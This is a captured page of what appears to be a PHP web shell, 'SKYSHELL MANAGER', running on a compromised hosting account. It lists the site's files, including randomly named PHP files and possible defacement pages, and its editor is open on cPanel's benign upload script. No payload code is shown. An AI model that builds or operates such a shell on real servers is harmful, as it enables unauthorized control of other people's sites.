📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
2e19d9
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.32 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: filemanager_upload.js
/* # filemanager_upload.js Copyright(c) 1997-2020 cPanel, L.L.C. # All rights reserved. # copyright@cpanel.net http://cpanel.net # This code is subject to the cPanel license. Unauthorized copying is prohibited */ /* globals PAGE: false, sprintf: false, toHumanSize: false, LOCALE: false */ /* eslint-disable camelcase */ /* jshint -W098 */ window.uploadService = (function(PAGE, $, LOCALE, YAHOO, sprintf, toHumanSize) { /* jshint +W098 */ "use strict"; var INITIAL_UPLOAD_STATUS_DELAY = 3000; var UPLOAD_STATUS_INTERVAL = 2000; var file_upload_remain = document.getElementById("file_upload_remain"); var uploadManager; var uploadFree = PAGE.startUploadFree; var maxUploadBytes = PAGE.maxUploadBytes; var userHasQuota = PAGE.userHasQuota; var fileManagerWindow = window.opener; var thiswindow = window; var windowcloser = function() { thiswindow.close(); }; var HTTP_PAYLOAD_TOO_LARGE = 413; function clearFileInput() { var fileUploadElement = document.getElementById("uploader_file_input"); fileUploadElement.value = ""; } function updateUploadFree(newValue, newValueText) { file_upload_remain.textContent = newValueText; uploadFree = parseInt(newValue, 10); } function UploadManager() { this.file_upload_count = 0; this.queue = []; } UploadManager.prototype.addToQueue = function(upload) { this.queue.push(upload); }; UploadManager.prototype.getCount = function() { return this.file_upload_count; }; UploadManager.prototype.incrementCount = function() { this.file_upload_count++; return this.file_upload_count; }; UploadManager.prototype.processQueue = function() { // first let's clear the queue of finished jobs this.cleanupQueue(); var overwrite = document.getElementById("overwrite_checkbox").checked; var i, len, upload; if (overwrite) { // now we loop over the queue and attempt to start uploads for (i = 0, len = this.queue.length; i < len; i++) { upload = this.queue[i]; if (!upload.in_progress) { upload.start({ overwrite: true }); } } } else { var uploadsToCheck = []; // We need to see if the ones in the queue exist on the server for (i = 0, len = this.queue.length; i < len; i++) { upload = this.queue[i]; if (!upload.in_progress) { uploadsToCheck.push(upload); } } if (uploadsToCheck.length > 0) { this.filesExist(uploadsToCheck); } } }; UploadManager.prototype.cleanupQueue = function() { // Remove all of the completed uploads var stillInProgress = []; for (var i = 0, len = this.queue.length; i < len; i++) { if (!this.queue[i].completed) { stillInProgress.push(this.queue[i]); } } this.queue = stillInProgress; }; UploadManager.prototype.filesExist = function(uploadObjects) { var self = this; // NOTE: we only load this page for a certain directory, // so it's ok to just grab the parent directory of any of the // upload objects var dir = uploadObjects[0].dir; // check if the file already exists on the server var url = CPANEL.security_token + "/execute/Fileman/list_files"; var data = {}; data.dir = dir; data.limit_to_list = 1; data.show_hidden = 1; for (var i = 0, len = uploadObjects.length; i < len; i++) { data["filepath-" + i] = uploadObjects[i].fileName; } $.ajax({ type: "POST", url: url, data: data, dataType: "json" }).done(function(data) { self.filesExistCallback(data, uploadObjects); }) .fail(function(data) { if (!data) { alert("Error: The system could not determine if the specified files already exist. Try again with \"Overwrite existing files\" turned on."); } else { alert("Error: " + data.status + " " + data.statusText + ". The system could not determine if the specified files already exist. Try again with \"Overwrite existing files\" turned on."); } }); }; UploadManager.prototype.filesExistCallback = function(result, uploadObjects) { var self = this; function clickyes(hash, keys) { self.prompt.hide(); // upload all of the files that were specified for (var i = 0, len = keys.length; i < len; i++) { hash[keys[i]].start({ overwrite: true }); } self.prompt.destroy(); self.prompt = null; } function clickno(hash, keys) { self.prompt.hide(); // remove all specified files from the queue for (var i = 0, len = keys.length; i < len; i++) { var upload = hash[keys[i]]; // find the index of this upload in the queue for (var m = 0, queueLen = self.queue.length; m < queueLen; m++) { // we match on filename if (upload.fileName === self.queue[m].fileName) { // we have a match, let's remove this from the array self.queue.splice(m, 1); upload.cleanup(); break; } } } self.prompt.destroy(); self.prompt = null; } if (!result || !result.status) { // TODO: Replace with an actual error message alert("Error: The system could not determine if the specified files already exist. Try again with \"Overwrite existing files\" turned on."); return; } // TODO: not sure if needed if (!result.data) { // if there is no data, something bad must have happened alert("Error: The system could not determine if the specified files already exist. Try again with \"Overwrite existing files\" turned on."); return; } var existence_hash = {}; var uploadObject = {}; var fileObj = {}; // go through our data and match it up with items in the queue for (var i = 0, len = result.data.length; i < len; i++) { fileObj = result.data[i]; for (var j = 0, objsLen = uploadObjects.length; j < objsLen; j++) { if (uploadObjects[j].fileName === fileObj.file) { uploadObject = uploadObjects[j]; break; } } // make sure we actually found our corresponding upload object if (Object.keys(uploadObject).length > 0) { if (fileObj.exists) { // need to prompt about this file existing existence_hash[fileObj.file] = uploadObject; } else { // start the upload of this file immediately uploadObject.start(); } } uploadObject = {}; } var existence_keys = Object.keys(existence_hash); if (existence_keys.length > 0) { // NOTE: we only load this page for a certain directory, // so it's ok to just grab the parent directory of any of the // upload objects var filePath = existence_hash[existence_keys[0]].dir; var fileList = ""; for (var k = 0, keyLen = existence_keys.length; k < keyLen; k++) { var file = existence_hash[existence_keys[k]].fileName; fileList += file.html_encode() + "<br>"; } var msg = YAHOO.lang.substitute(YAHOO.util.Dom.get("already_exists_template").text.trim(), { filelist_html: fileList, dir_html: filePath.html_encode() }); self.prompt = new YAHOO.widget.SimpleDialog("sdlg1", { width: "450px", fixedcenter: true, visible: false, modal: true, draggable: false, close: true, constraintoviewport: true, effect: { effect: CPANEL.animate.ContainerEffect.FADE_MODAL, duration: 0.25 }, buttons: [{ text: LOCALE.maketext("Yes"), handler: function() { clickyes(existence_hash, existence_keys); }.bind(self), isDefault: true }, { text: LOCALE.maketext("No"), handler: function() { clickno(existence_hash, existence_keys); }.bind(self) }] }); self.prompt.setHeader("<div class=\"lt\"></div><span>" + LOCALE.maketext("Overwrite File?") + "</span><div class=\"rt\"></div>"); self.prompt.cfg.queueProperty("text", msg); self.prompt.render("promptContainer"); self.prompt.show(); } }; function UploadViaXHR(opts) { var id; if (opts) { if (opts.id !== void 0) { id = opts.id; } } if (id === void 0) { this.id = 0; } else { this.id = id; } this.dir = ""; this.form = ""; this.fileName = ""; this.progress_template = "upload_progress_template"; this.form_template = "dnd_uploaderhtml_template"; this.request = ""; this.fileSize = 0; this.success = false; this.reason = ""; this.in_progress = false; this.completed = false; } UploadViaXHR.prototype.addForm = function(parentNode, dir, fileObj) { var self = this; self.dir = dir; var template = document.getElementById(self.form_template); if (!template) { throw new Error("Template does not exist: " + self.form_template); } var template_text = template.text.trim(); var uploaderhtml = YAHOO.lang.substitute(template_text, { thisid_html: self.id }); self.fileName = fileObj.name; // add our template to a document fragment var docFrag = document.createDocumentFragment(); var dNew = document.createElement("div"); dNew.id = "uploader" + self.id; dNew.innerHTML = uploaderhtml; docFrag.appendChild(dNew); var upload_form = docFrag.querySelector("#frm" + self.id); var formData = new FormData(upload_form); formData.append("file-0", fileObj, fileObj.name); self.form = upload_form; self.formData = formData; // add the form to the page parentNode.appendChild(docFrag); }; UploadViaXHR.prototype.start = function(opts) { var self = this; var overwrite = false; if (opts && opts.overwrite !== void 0) { overwrite = opts.overwrite; } if (overwrite || document.getElementById("overwrite_checkbox").checked) { self.formData.append("overwrite", "1"); } else { self.formData.append("overwrite", "0"); } // add the progress to the page var this_uploader_progress_container = document.getElementById("uploaderprogress" + self.id); var template = document.getElementById(self.progress_template); if (!template) { throw new Error("Template does not exist: " + self.progress_template); } var template_text = template.textContent.trim(); var html = YAHOO.lang.substitute(template_text, { thisid_html: self.id, fileName: self.fileName.html_encode() }); this_uploader_progress_container.innerHTML = html; // add a cancel option to the progress bar var uploaderstats = document.getElementById("uploaderstats" + self.id); var cancelLink = document.createElement("button"); cancelLink.id = "uploaderCancel" + self.id; cancelLink.className = "cancel"; cancelLink.innerHTML = "<span class=\"fas fa-times\"></span>"; cancelLink.onclick = function(event) { event.stopPropagation(); event.preventDefault(); self.cancel(); }; this_uploader_progress_container.insertBefore(cancelLink, uploaderstats); self.form.style.display = "none"; self.request = new XMLHttpRequest(); self.request.onload = function(event) { var payload; try { payload = JSON.parse(event.target.responseText); } catch (e) { } var success = false; var message = "An unknown error occurred"; var fileSize = 0; if (payload) { if (payload.errors) { success = false; if (payload.data.uploads && payload.data.uploads.length > 0) { message = payload.data.uploads[0].reason; } else { message = payload.errors[payload.errors.length - 1]; } } else if (payload.data.uploads && payload.data.uploads.length > 0) { success = true; message = payload.data.uploads[0].reason; fileSize = payload.data.uploads[0].size; } if (payload.data.diskinfo) { updateUploadFree(payload.data.diskinfo.file_upload_remain, payload.data.diskinfo.file_upload_remain_humansize); } } else if (event.target.status === HTTP_PAYLOAD_TOO_LARGE) { message = LOCALE.maketext("The file’s size exceeds your account’s remaining disk usage quota. Because of this, you cannot upload this file.") + " " + LOCALE.maketext("Delete some files, or contact your hosting provider to request an increase to your account’s quota."); } else if (event.target.status > 399) { message = LOCALE.maketext("The upload failed. The server indicated [asis,HTTP] error [numf,_1] ([_2]).", event.target.status, event.target.statusText); } self.success = success; self.reason = message; self.fileSize = fileSize; self.complete(); }; self.request.onabort = function(event) { self.success = false; self.reason = "Cancelled by user"; self.complete(); }; self.request.onerror = function(event) { self.success = false; self.reason = "An error occurred. Your account may be over its quota or you attempted to upload a folder."; self.complete(); }; self.request.upload.onprogress = self.checkStatus.bind(self); self.request.open("post", CPANEL.security_token + "/execute/Fileman/upload_files", true); self.request.send(self.formData); self.in_progress = true; }; UploadViaXHR.prototype.checkStatus = function(data) { var self = this; if (data.lengthComputable) { var percentComplete = Math.floor((data.loaded / data.total) * 100); self.updateProgressTemplate({ size: data.total, bytesSent: data.loaded, percentageComplete: percentComplete }); } }; UploadViaXHR.prototype.updateProgressTemplate = function(data) { var self = this; var progressElement = document.getElementById("progress" + self.id); var stats = document.getElementById("uploaderstats" + self.id); progressElement.style.width = data.percentageComplete + "%"; progressElement.textContent = data.percentageComplete + "%"; progressElement.setAttribute("aria-valuenow", data.percentageComplete); self.fileSize = data.size; var humanSent = toHumanSize(data.bytesSent); var humanSize = toHumanSize(data.size); var newHTML = humanSent + " / " + humanSize + " (" + data.percentageComplete + "%) complete"; stats.innerHTML = newHTML; }; UploadViaXHR.prototype.complete = function() { var self = this; var humanSize; var newHTML = ""; if (self.fileSize !== void 0) { humanSize = toHumanSize(self.fileSize); } else { humanSize = toHumanSize(0); } var cancelLink = document.getElementById("uploaderCancel" + self.id); if (cancelLink) { cancelLink.className = "cancel hidden"; } var progressElement = document.getElementById("progress" + self.id); var stats = document.getElementById("uploaderstats" + self.id); if (self.success) { progressElement.style.width = "100%"; progressElement.textContent = "100%"; progressElement.setAttribute("aria-valuenow", "100"); progressElement.className += " progress-bar-success"; newHTML = humanSize + " complete"; } else { progressElement.className += " progress-bar-danger"; newHTML = self.reason; } stats.innerHTML = newHTML; self.cleanup(); }; UploadViaXHR.prototype.cancel = function() { var self = this; self.request.abort(); }; UploadViaXHR.prototype.cleanup = function() { var self = this; // remove the form from the page, but keep the progress bar var uploadForm = document.getElementById("uploadform" + self.id); if (uploadForm) { uploadForm.parentNode.removeChild(uploadForm); uploadForm = void 0; } self.form = void 0; self.in_progress = false; self.completed = true; }; function UploadViaHiddenIframe(opts) { var id, uploadkey, dir; if (opts) { if (opts.id !== void 0) { id = opts.id; } if (opts.uploadkey !== void 0) { uploadkey = opts.uploadkey; } if (opts.dir !== void 0) { dir = opts.dir; } } if (id === void 0) { this.id = 0; } else { this.id = id; } if (uploadkey === void 0) { this.uploadkey = ""; } else { this.uploadkey = uploadkey; } var ro = Math.random() * 9999999; var ri = Math.floor(ro); this.uploadkey += ri; this.form = ""; this.fileName = ""; this.progress_template = "upload_progress_template"; this.form_template = "uploaderhtml_template"; this.dir = ""; this.fileSize = 0; this.success = false; this.reason = ""; this.checkProgressCount = 0; this.in_progress = false; this.completed = false; } UploadViaHiddenIframe.prototype.addForm = function(parentNode, dir, input) { var self = this; self.dir = dir; var template = document.getElementById(self.form_template); if (!template) { throw new Error("Template does not exist: " + self.form_template); } var template_text = template.text.trim(); var uploaderhtml = YAHOO.lang.substitute(template_text, { thisid_html: self.id }); var thisFile = input.value; // need to check what file separator we are using var backSlash = String.fromCharCode(92); var matchchar = "/"; if (thisFile.indexOf(backSlash) > -1) { matchchar = backSlash; } // now split the path based on the file separator var filePath = thisFile.split(matchchar); self.fileName = filePath[filePath.length - 1]; // add our template to a document fragment var docFrag = document.createDocumentFragment(); var dNew = document.createElement("div"); dNew.id = "uploader" + self.id; dNew.innerHTML = uploaderhtml; docFrag.appendChild(dNew); // clone our file upload input and put it on the drop zone area var master_upload_area = document.getElementById("uploader_button_area"); var file_upload_element = input.cloneNode(); master_upload_area.appendChild(file_upload_element); // take our current file upload input and move it to the hidden form input.id = "file"; input.name = "file"; input.onchange = function() { return false; }; var upload_form = docFrag.querySelector("#frm" + self.id); upload_form.appendChild(input); self.form = upload_form; // add the form to the page parentNode.appendChild(docFrag); }; UploadViaHiddenIframe.prototype.start = function(opts) { var self = this; var ro = Math.random() * 9999999; var ri = Math.floor(ro); var overwrite = false; if (opts && opts.overwrite !== void 0) { overwrite = opts.overwrite; } if (overwrite || document.getElementById("overwrite_checkbox").checked) { self.form.overwrite.value = "1"; } else { self.form.overwrite.value = "0"; } // add the progress to the page var this_uploader_progress_container = document.getElementById("uploaderprogress" + self.id); var template = document.getElementById(self.progress_template); if (!template) { throw new Error("Template does not exist: " + self.progress_template); } var template_text = template.textContent.trim(); var html = YAHOO.lang.substitute(template_text, { thisid_html: self.id, fileName: self.fileName.html_encode() }); this_uploader_progress_container.innerHTML = html; self.form["cpanel-trackupload"].value = self.uploadkey; var iframe = document.getElementById("ut" + self.id); iframe.onload = function() { iframe.onload = function() {}; var json = CPANEL.util.get_text_content(iframe.contentDocument.documentElement); var jdata; try { jdata = JSON.parse(json); } catch (e) { } var success = false; var message = "An unknown error occurred"; var fileSize = 0; if (jdata && jdata.cpanelresult) { var payload = jdata.cpanelresult; if (payload.error) { success = false; if (payload.data && payload.data[0].uploads && payload.data[0].uploads[0]) { message = payload.data[0].uploads[0].reason; } else { message = payload.error; } } else if (payload.data && payload.data[0].uploads && payload.data[0].uploads[0]) { message = payload.data[0].uploads[0].reason; fileSize = payload.data[0].uploads[0].size; var status = parseInt(payload.data[0].uploads[0].status, 10); if (status) { success = true; } else { success = false; } } if (payload.data && payload.data[0].diskinfo) { updateUploadFree(payload.data[0].diskinfo.file_upload_remain, payload.data[0].diskinfo.file_upload_remain_humansize); } } self.success = success; self.reason = message; self.fileSize = fileSize; self.complete(); }; self.form.submit(); self.form.style.display = "none"; self.in_progress = true; self.status_timeout = setTimeout(function() { self.checkStatus(); }, INITIAL_UPLOAD_STATUS_DELAY); }; UploadViaHiddenIframe.prototype.checkStatus = function() { var self = this; var statcallback = { success: self.updateProgress.bind(self), failure: function(response) { if (!response) { return; } self.status_timeout = setTimeout(function() { self.checkStatus(); }, UPLOAD_STATUS_INTERVAL); }.bind(self) }; var sUrl = CPANEL.security_token + "/uploadstatus/?uploadid=" + self.uploadkey; YAHOO.util.Connect.asyncRequest("GET", sUrl, statcallback, null); }; UploadViaHiddenIframe.prototype.updateProgressTemplate = function(data) { var self = this; if (data.complete || data.failure) { self.success = !data.failure; self.reason = data.failureReason; self.fileSize = data.size; self.complete(); } else { var progressElement = document.getElementById("progress" + self.id); var stats = document.getElementById("uploaderstats" + self.id); progressElement.style.width = data.percentageComplete + "%"; progressElement.textContent = data.percentageComplete + "%"; progressElement.setAttribute("aria-valuenow", data.percentageComplete); var humanSize = toHumanSize(data.size); var humanSent = toHumanSize(data.bytesSent); var newHTML = humanSent + " / " + humanSize + " (" + data.percentageComplete + "%) complete"; stats.innerHTML = newHTML; } }; UploadViaHiddenIframe.prototype.updateProgress = function(response) { var self = this; if (!response || !response.responseXML) { return; } var isComplete = false; var root = response.responseXML.documentElement; if (root === null || response.responseText === "") { // something isn't right, so lets give them a max bound so we don't loop forever. self.updateProgressCount += 1; if (self.updateProgressCount >= 30) { self.updateProgressTemplate({ size: "unknown", complete: false, bytesSent: 0, percentageComplete: 0, failure: true, failureReason: "Unknown error or disk quota exceeded" }); } else { self.status_timeout = setTimeout(function() { self.checkStatus(); }, UPLOAD_STATUS_INTERVAL); } return; } var totalSize = root.getAttribute("size"); var bytesSent = 0; var files = root.getElementsByTagName("file"); if (files.length > 0) { var errors = files[files.length - 1].getElementsByTagName("error"); if (errors.length > 0) { var failmsg = errors[errors.length - 1].getAttribute("failmsg"); self.updateProgressTemplate({ size: totalSize || "unknown", complete: false, bytesSent: 0, percentageComplete: 0, failure: true, failureReason: failmsg }); return; } var progresses = files[files.length - 1].getElementsByTagName("progress"); if (progresses.length > 0) { isComplete = progresses[progresses.length - 1].getAttribute("complete"); bytesSent = progresses[progresses.length - 1].getAttribute("bytes"); } } else { // We set the timeout here so we know when it completes self.status_timeout = setTimeout(function() { self.checkStatus(); }, UPLOAD_STATUS_INTERVAL); return; } if (isComplete !== void 0 && isComplete !== null && isComplete === "1") { isComplete = true; } else { isComplete = false; } var pcomplete = 0; if (totalSize > 0 && bytesSent) { pcomplete = Math.floor((bytesSent / totalSize) * 100); } else { pcomplete = 100; } self.updateProgressTemplate({ size: totalSize, complete: isComplete, bytesSent: bytesSent, percentageComplete: pcomplete, failure: false, failureReason: "" }); if (!isComplete) { self.status_timeout = setTimeout(function() { self.checkStatus(); }, UPLOAD_STATUS_INTERVAL); } }; UploadViaHiddenIframe.prototype.complete = function() { var self = this; clearTimeout(self.status_timeout); var humanSize; var newHTML = ""; if (self.fileSize !== void 0) { humanSize = toHumanSize(self.fileSize); } else { humanSize = toHumanSize(0); } var progressElement = document.getElementById("progress" + self.id); var stats = document.getElementById("uploaderstats" + self.id); if (self.success) { progressElement.style.width = "100%"; progressElement.textContent = "100%"; progressElement.setAttribute("aria-valuenow", "100"); progressElement.className += " progress-bar-success"; newHTML = humanSize + " complete"; } else { progressElement.className += " progress-bar-danger"; newHTML = self.reason; } stats.innerHTML = newHTML; self.cleanup(); }; UploadViaHiddenIframe.prototype.cancel = function() { // we cannot cancel a form submit, so we just return false here return false; }; UploadViaHiddenIframe.prototype.cleanup = function() { var self = this; // remove the form from the page, but keep the progress bar var uploadForm = document.getElementById("uploadform" + self.id); if (uploadForm) { uploadForm.parentNode.removeChild(uploadForm); uploadForm = void 0; } self.form = void 0; self.in_progress = false; self.completed = true; }; function cancelEvent(event) { event.stopPropagation(); event.preventDefault(); event.dataTransfer.dropEffect = "copy"; return false; } function supports_XHR2() { return ((!!window.ProgressEvent) && (!!window.FormData)); } function supports_FileAPI() { return !!(window.File && window.FileList && window.FileReader); } /** * NOTE: * This method is only called by the drag and drop events, so there is no need * to do an alternate upload method or check the file input. */ function uploadfiles(files) { var count, upload; var uploaders = document.getElementById("uploaders"); for (var i = 0, len = files.length; i < len; i++) { count = uploadManager.incrementCount(); upload = new UploadViaXHR({ id: count }); upload.addForm(uploaders, PAGE.dir, files[i]); uploadManager.addToQueue(upload); } uploadManager.processQueue(); clearFileInput(); } function uploadfile(file) { var count, upload; var uploaders = document.getElementById("uploaders"); // get a new id count = uploadManager.incrementCount(); if ((supports_XHR2() && supports_FileAPI()) ) { // NOTE: file in this case can either be a File object or an input type="file" element var theFile; if (file.files !== void 0) { // we got a input type="file" element theFile = file.files[0]; } else { // we got a File object theFile = file; } var limits = [ maxUploadBytes ]; if (userHasQuota) { limits.push(uploadFree); } var limit = Math.min.apply(null, limits); if (theFile.size > limit) { var phrases = [ LOCALE.maketext("“[_1]” requires [format_bytes,_2] of disk space, but you can only upload up to [format_bytes,_3].", theFile.name, theFile.size, limit), ]; if (limit === maxUploadBytes) { phrases.push( LOCALE.maketext("Because of this limitation, you cannot upload this file.") ); } else { phrases.push( LOCALE.maketext("Because of this limitation, you cannot currently upload this file.") ); phrases.push( LOCALE.maketext("Delete some files, or contact your hosting provider to request an increase to your account’s quota.") ); } alert(phrases.join(" ")); } else { upload = new UploadViaXHR({ id: count }); upload.addForm(uploaders, PAGE.dir, theFile); } } else { // NOTE: file in this case is a input type="file" element upload = new UploadViaHiddenIframe({ id: count, uploadkey: PAGE.uploadkey }); upload.addForm(uploaders, PAGE.dir, file); } if (upload) { uploadManager.addToQueue(upload); uploadManager.processQueue(); clearFileInput(); } } function handleFileDrop(event) { event.stopPropagation(); event.preventDefault(); if (!(supports_XHR2() && supports_FileAPI())) { return; } var files = event.dataTransfer.files; if (files && files.length > 0) { if (files.length > 1) { uploadfiles(files); } else { uploadfile(files[0]); } } } // this function loads when the YAHOO.util.Dom is ready function initialize() { YAHOO.util.Event.throwErrors = true; // set up drag n drop functionality // NOTE: We need XHR2 and File API support to adequately support drag n drop if (supports_XHR2() && supports_FileAPI()) { var dropZone = document.getElementById("upload_drop_zone"); dropZone.addEventListener("dragover", cancelEvent, false); dropZone.addEventListener("dragenter", cancelEvent, false); dropZone.addEventListener("drop", handleFileDrop, false); } else { var uploaderTextArea = document.getElementById("uploader_text_area"); uploaderTextArea.style.display = "none"; } uploadManager = new UploadManager(); } YAHOO.util.Event.onDOMReady(initialize); return { triggerFileSelection: function() { var file_input = document.getElementById("uploader_file_input"); file_input.click(); }, goBackHandler: function(e) { if (fileManagerWindow && fileManagerWindow.updateFileList) { // this is only needed in case the update call takes too long setTimeout(windowcloser, 5000); // update the list of files in the file manager window fileManagerWindow.updateFileList(PAGE.dir, 0, windowcloser); return false; } else { // this was not opened from the file manager, so close this window windowcloser(); return true; } }, uploadfile: uploadfile }; })(PAGE, $, LOCALE, YAHOO, sprintf, toHumanSize);
Save